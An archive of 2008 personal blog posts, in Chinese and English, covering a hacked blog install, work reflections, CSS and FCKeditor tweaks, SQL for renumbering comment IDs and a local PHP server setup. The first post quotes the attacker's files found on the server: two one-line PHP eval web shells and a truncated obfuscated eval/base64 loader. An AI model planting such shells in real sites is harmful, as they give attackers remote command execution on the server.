Oct
11
Written by 风隐 on 2008, October 11, 1:47 PM
查看网上的文章,大多是今年5月的时候。我那时却少了根经,处于不闻不问的状态。
结果blog已经被人动了,自己却毫不知觉,直到这几天才惊觉其实已然中招。。。
幸运的是,人家对这里的兴趣也不大,基本上没有做什么破坏性举动。lucky? or not really so...
那时为何会不知觉,是因为只看到一个xmlrpc-g.php的文件。虽然有些纳闷,却也让我疏忽了。我就没有去做任何改动。直到一个月左右前,看到这样的文件在blog目录下,images71.php,觉得不对劲。查看其内容也很奇怪,是这样的字样:
<?php/*代码由http://1v1.name在线加密! */eval(gzinflate(str_rot13(base64_decode('FJ3HjqR5tlJfpXT9WAzwQXfdFgTeezd24T1O4OHpLzmtV...中间省略n行,共100K左右大小...lv+ErdZaX6khNBgiBjRyQAFCAIjiNr/vPPv/79vv733//87/8='))));?>一时琢磨不透怎么回事。就把它给保存一份,然后删除掉了。后来在网上爬文,多少明白了是一种木马防杀的手段。通过多次加密,主机就没法杀除这样的病毒或木马。所以说。。。加密的部分多半是木马内容。
明白这点就更有些不放心,好好的查找了一下目录,发现cache目录下也有奇怪的东西。
server.php
<? eval($_REQUEST['cmd']);?>
x-man.php
<?eval($_POST[c])?>puret_t
我对php属于入门都不到,很难参透这文件的作用。。。虽然不放心也只有赶紧删除,修复xmlrpc文件。
baobaocool.com反映他也遇到了类似的情况,不过他觉得是好人来的,因为帮忙修改了xmlrpc.php文件名,避免了被别人恶意攻击,而且也没有改动重要文件挂马之类。
很难说。。。因为这样做也算是给自己留了个后门。想起后门真是心寒,虽然仔细的查看了重要目录,依然不晓得是否某个角落被留有什么后门文件。一下子没了安全感,这就是网络吧?
罢,这个世界本就是不完美的。仔细检查一番,就继续用下去。
如有高手路过,请指点我一下其中奥秘。于安全,是否还可以做点什么?
突然间,有些迷惑网志blog的目的和意义何在。
Filed under: 尘封
0 Comments
468 Views
Oct
05
Written by 风隐 on 2008, October 5, 10:21 PM
Well, I can't claim it was a good day, even though I was on half day leave in the afternoon. Actually, that's one of the reason for not doing it well: I was in a hurry for the leave.
There were quite some stuff on the day, and it's better to look at it again, possibly finding a way to improve.
Things didn't work out well when the email about link migration was sent out. The plan inside was not what I expected. To make it worse, the field guy refused to do it, and boss asked me with another colleague to settle it with the engineer in charge. Apparently there was some ineffective communication in between about the migration. It turned out the key was 3rd switch is not ready for migration yet, but I thought it was. That's why the details sent out involves migration at two locations, which means tough job. This could be the direct reason to trigger the guy to refuse the plan, which I have no idea...
From this, i see two things. If my staff talks to me about it when he found the planned site to work on was not logical, it would be much better. I could find out the problem of 3rd switch not ready a lot easier, without going through the unnecessary confusion. Another thing is if the work order was not sent out but just sent to me first, there won't be such unpleasant reaction of refusal.
Still it's not end of story. My colleague settled with the engineer in charge, very fast. The conclusion was to postpone it, which means cancelling any migration work on that week. I don't feel this is the best solution, as it implies one empty week with no work done. There might be other alternatives, maybe we could work on other sites instead. But no choice, it's settled and we have to follow the agreement of postponing.
My understanding is it could be better. Those two if conditions would help so I will do that for next link migration. Another thing is should talk to my colleague about who are the engineers involved and what was the agreement last time, so that I would be able to make the contacts directly next time to settle problems. Anyway, it will be officially handed over to me.
Another question, what was the hurry for? I wanted to buy phone cards and openning an stock market account. Apparently, buying phone cards were low priority. I should gave that up but rather focus more on job tasks..
It turned out I missed an urgent email in the afternoon. It was sent in the noon, but I never replied. It was just so impolite and I also felt bad. The lesson is.. don't hurry for unimportant stuff... Saving $2 for two months was trivial, and there should and will be better solutions.
After reading through emails in the afternoon, I found out another big project is supposed to be handed over to me. Good, challenging work. Real time monitoring system is already implemented, I also don't want to make it "million dollar white elephant".
Well, it's good to sit down and think about stuff that happened, no matter good or bad. It will be better tomorrow, and I believe in it.
Filed under: 尘封
2 Comments
475 Views
Oct
05
Written by 风隐 on 2008, October 5, 6:36 PM
真的是。。。彻底火星了。今天听朋友提起,才恍知越狱第四季依然进行时。而且朋友的评价不错,说是比第三季紧凑的多剧情也不错。正愁Macross Frontier看完没东西可以放松消遣,于是赶紧去找了前两集看了一饱眼福。
本来是想去伊甸园寻找下载,可惜前几集实在有些难找。一个高清的有360M之多,那要下到何年马月?后来试了试ppstream,居然速度奇快。高清的一点都不卡,可见在新加坡这玩意已经相当流行。。。哎,双面刃啊。不晓得是否可以由此推论我们的IPTV项目也是前途无限。
返回Prison Break的话题,确实还是蛮有看头的。节奏掌握的不错,跟第一季相比不相上下。第四季应该会有所结论吧?这也很难讲了,这种连续剧大抵是有赚就拍了。其实结局未必重要了,有看头就行~
跟我一般火星的又一直有看完前三季的朋友,赶快去找来尝尝鲜吧。
Filed under: 尘封
4 Comments
458 Views
Oct
01
Written by 风隐 on 2008, October 1, 9:45 PM
改模板遇到的一个大问题就是firefox跟ie下浏览不一致。以前也发过一篇抱怨新的firefox3会把目前的模板下日历弄乱。
而且就这个问题我百思不得其解,因为我有见到别人用的模板不存在这个问题,就是说css是可以改到一致的。可是我怎么也弄不出来,而且发现当初跟程序一起的default模板就有这个问题了。也难怪大多f2blog模板都有此问题。
今天仔细对比,发现在global.css里面有这么一句:
*{padding:0;margin:0}就是这么简单一句,轻易解决了我的头疼难题!而且一下解决了2个,一石二鸟。
看来对于这两个标签不同的浏览器会有不同的默认值。于是直接先全部归为0,轻易的解决很多潜在问题。
很多事情,就是如此简单。。。
Filed under: 尘封
4 Comments
494 Views
Oct
01
Written by 风隐 on 2008, October 1, 9:21 PM
因为那时候使用SyntaxHighlighter遇到了困难,前几天尝试使用fckeditor来编辑文章。感觉确实很好用。于是稍微做了点研究,发现fckeditor的最新版本已经是2.6.3。在官方站上稍微体验了一下,很是喜欢office2003的风格皮肤。
稍作学习,要在f2blog上升级编辑器是相当容易的事情。下载了最新版后把无用的说明性文件跟语言包通通清理掉,然后根据喜好自行配置一下fckeditor,直接就可以使用了~
感觉用起来很舒服,生成的html代码也很简洁。截个图:

我把宽度调成了80%,看起来有点别扭。呵呵,因为放100%的话实在有点太宽了。不过这个不重要啦,可以随意调整的。推荐一下,真的不错,而且自己动手从官方下载很有DIY的快乐。
Filed under: 尘封
0 Comments
477 Views
Oct
01
Written by 风隐 on 2008, October 1, 7:05 PM
Filed under: 尘封
0 Comments
514 Views
Oct
01
Written by 风隐 on 2008, October 1, 6:36 PM
在祖国生日的喜庆之日,我们也幸运的拿到了一天公共假日。今天则是马来族人的新年,我们虽然不相干却多少也能体会到一些欢庆的气氛。
最近不知如何突然对琢磨blog程序情绪高涨,于是对自己的小窝又做了些调整。很耗时间,又有些累,似乎这一周都有些生活不规律外加睡眠不足。谁叫我喜欢这些网络的应用呢。对我能有多少帮助,我就说不上了,不过兴趣大致如此吧。
昨天算是工作上不错的一天,老板交代的任务顺利完成了。而且是初次去参与网络的troubleshooting,对技术知识也有不少长进。忙活了一下午,终于找出问题症结,然后匆忙间向老板汇报。成功达成目的,挺有喜悦的感觉。
嗯,还有很多的地方有待改进。希望能完成自己定下的目标,真正的承担起工作责任。
下午实在觉得憋闷,就去附近的购物中心逛了一下。购买了一个鼠标垫,可以把手垫高的那种。最近经常编辑程式,鼠标用久就感觉手腕很不舒服。
转眼这一天就又是要结束了,嗯,看来我对f2的折腾也该告一段落了。明天,一样要认真的去生活。
Filed under: 尘封
0 Comments
437 Views
Sep
28
Written by 风隐 on 2008, September 28, 10:23 PM
在编写CSS代码的过程中,我们可以用简化的写法,这样提高效率。更重要的是在读别人写的代码的时候能明白到底什么意思。呵呵,今天又去爬了一篇网文,觉得很是收益。
以margin为例
margin-top:1px;margin-right:1px;margin-bottom:1px;margin-left:1px;
代码简化为:
margin:1px
margin-top:1px;margin-right:2px;margin-bottom:1px;margin-left:2px;
代码简化为:
margin:1px 2px
margin-top:1px;margin-right:2px;margin-bottom:3px;margin-left:2px;
代码简化为:
margin:1px 2px 3px
margin-top:1px;margin-right:2px;margin-bottom:3px;margin-left:4px;
代码简化为:
margin:1px 2px 3px 4px
当属性值是0的时候单位可以不写如:0px 直接就写成0 padding的书写方法和margin一样,在此就不多写了。 然后是border
border-width:1px;border-style:solid;border-color:#000000;
代码简化为:
border:1px solid #000
background
background-color:#CCFFFF;background-image:url(图片路径);background-repeat:repeat-x;background-position:5px 4px;
代码简化为:
background:#CFF url(图片路径) repeat-x 5px 4px
font
font-size:26px;font-weight:bold;font-family: “宋体”;
代码简化为:
font:26px bold “宋体”
color属性值
color:#000000;color:#ff0000;
代码简化为:
color:#000, color:#f00
Filed under: 尘封
2 Comments
492 Views
Sep
28
Written by 风隐 on 2008, September 28, 9:59 PM
起因是当时blog被垃圾评论肆虐,然后删除了很多无用的评论跟留言。
后来自己琢磨过滤器为何无效,重新开启这个功能之后基本上就控制住了评论机器人。
这样id就出现了很大一段空缺。因为根据MySQL auto intrement的设计,删除了之后的id是不会重新利用的。
于是就有了重新排序的想法。去网上爬文,发现有效也直接的就是删除这个field,然后再生成。
本机测试,确实有效。
自然我是以f2blog的数据结构作为例子啦。其他的理论上不是问题。
后来发觉还是有问题,分析一下发觉是comments表里面的parent field跟id有关联。于是就需要做点别的处理。
去网上参照了一篇文章,
http://www.bbstobbs.com/thread-16-1-1.html然后基于自己SQL的一点基础,尝试性的写了一个SQL Script,有效~
代码如下,相信简单的修改后对别的blog数据结构也是可以应用的。
重新排序guestbook id:
ALTER TABLE `f2blog_guestbook` ADD `oldid` int(8) NOT NULL;update f2blog_guestbook set oldid=id;ALTER TABLE `f2blog_guestbook` DROP `id`;ALTER TABLE `f2blog_guestbook` ADD `id` int(8) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST;update f2blog_guestbook p,f2blog_guestbook q set p.parent = q.id where p.parent=q.oldid;ALTER TABLE `f2blog_guestbook` DROP `oldid`;
重新排序comments id:
ALTER TABLE `f2blog_comments` ADD `oldid` int(9) NOT NULL;update f2blog_comments set oldid=id;ALTER TABLE `f2blog_comments` DROP `id`;ALTER TABLE `f2blog_comments` ADD `id` int(9) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST;update f2blog_comments p,f2blog_comments q set p.parent = q.id where p.parent=q.oldid;ALTER TABLE `f2blog_comments` DROP `oldid`;
完成后要记得更新缓存的。然后,不是100%确定没有任何问题,所以欢迎指正。:)
Filed under: 尘封
0 Comments
629 Views
Sep
28
Written by 风隐 on 2008, September 28, 9:43 PM
因为上次提到的缓存的原因,我在自己的机器上架建了PHP Http环境,用来测试跟调试自己的blog。
参照了一篇很棒的资源,我就不重复转帖了,地址如下:
http://www.444p.com/tutorial/php-setup/aid2626-vista_apache_php_mysql/我的电脑是Vista Ultimate系统的,看来如今vista的兼容性基本不是问题了。
按照教程里一步一步做,架设整个localhost只要不到2个小时就可完成。值得一提的是里面推荐的文件系统很整洁,一目了然。
建议按照里面推荐的文件结构安装,于将来的维护都是有益无害。
我在架设完毕后出现了http 403 error. 花了蛮久去检查问题的原因。其实并不是教程有问题,只是有一步做的不够仔细。
其实教程里写的也略有不明白。
步骤5: 配置 Apache 和 PHP
5.1 找到
DocumentRoot "xxxxxxx"
改成你本机的网站内容的目录。例如我的:
DocumentRoot "D:/WWW/Web/"
注意:
这里有不止一处需要修改。查找
DocumentRoot "
字样应该会出现3处。我开始只修改了第一处,就出现了403 error,后来测试知道第三处也是必须要修改的。
所以,请留意这步。
然后后面的应该就该是一帆风顺了吧。安装完MySQL后设置下root的密码,再安装个phpmyadmin来管理数据库。
基本上就是个蛮完美的localserver了。
周末我做了不少测试,确实很棒的~
Filed under: 尘封
0 Comments
506 Views
02-14 - 指头